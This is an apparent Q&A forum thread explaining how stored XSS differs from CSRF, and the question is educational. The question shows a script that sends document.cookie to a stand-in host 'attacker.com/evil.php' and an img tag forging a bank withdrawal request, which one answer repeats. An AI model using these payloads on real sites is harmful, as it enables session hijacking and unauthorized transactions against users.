11

Trying to create a thorough understanding of XSS and CSRF, i'm clear that a type 2 xss involves an exploit that is persistent on the server.

e.g.

<SCRIPT type="text/javascript">
new Image().src = 'http://www.attacker.com/evil.php?cookie=' + escape(document.cookie);
</SCRIPT>

If the above script is a part of a post in a forum that is vulnerable to xss, every user that visits the page will in turn send his cookie to attacker.com via evil.php.

How is this different from CSRF?

e.g. A post on a forum can be:- Eve: Hello Alice! Look here:

<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">

It seems to me that in both cases, a remote url is invoked and both of them are persistent on the server.

References:

https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

http://en.wikipedia.org/wiki/Cross-site_request_forgery

2 Answers 2

7

Because of the same-origin policy, in the XSS case, the script needs to be loaded in the user's browser in a page on the same domain you're trying to attack.

So, to steal an example.com cookie from a user, you need to "inject" that JavaScript in a page on example.com. For example, example.com/viewArticle.php?id=4123&comments=1 where the comment section is vulnerable to an XSS.

In the second case, if you want the user's browser to send a request using the user's session, it's enough for the user to visit a page evil.com/lolcats.html that contains

<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">

Note that we didn't really put any scripts or code on bank.example.com.

4
  • What i understand here is that both exploits are persistent and both utilize scripts. The difference is how they act. Since same origin policy restricts javascript to access a different website's DOM objects, it is limited to the current page and hence we can use XSS to obtain session information like cookies. In case of CSRF, the url would send a request to another website utilizing a valid session of the user on that website. So in short, CSRF can be achieved via XSS. So to prevent CSRF, we should not allow reads from outside our origin? (i read that img and some other tags are exceptions)
    – Karan
    Commented May 12, 2013 at 12:42
  • @user85030 Not entirely correct. To exploit a CSRF vulnerability you don't need to inject any code or markup in the target page at all. As you can see in the example, the lolcats.html page is on a totally different domain that the attack controls.
    – Adi
    Commented May 12, 2013 at 13:03
  • Correct. I meant that the img tag can be posted on a vulnerable site via XSS.
    – Karan
    Commented May 12, 2013 at 13:16
  • @user85030 Yes, that's another way of doing it.
    – Adi
    Commented May 12, 2013 at 13:20
6

XSS occurs when a piece of browser scripts origin from 3rd-party sources be injected into a vulnerable website's content, which can be considered as instructions to the user's browser to "present" a website. In web's terminology, the user's browser believes that such instructions are legitimate within the web site domain. In XSS scenario, the returned contents contains injected scripts are not actually what the website wants (therefore "cross-sited"), but the browser still thought that are legitimate and follow the instructions (including executing the injected browser script).

Therefore XSS attack is "exploiting user's browser's trust on the content returned from a vulnerable web site".

CSRF occurs when a request can be triggered by 3rd-party to be sent from a victim user's browser to the vulnerable website and be processed. This is possible because from the web site's point of view, the request is appearing to be legitimate (sent from user browser -> possible to contain necessary cookies). Similarly to XSS, in current web's terminology, the a web sites believes that all requests sent from a valid user browsers are legitimated actions that really "initiated" by the user (e.g. clicking the desired button), but it's not.

Therefore CSRF attack is "exploiting trust of a vulnerable website on the requests submitted by a victim user browser". (Which is actually the opposite of XSS)

XSS and CSRF are often mixed up because in many scenario, CSRF is exploited via XSS vulnerability - but having XSS condition is not a necessary condition for CSRF

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .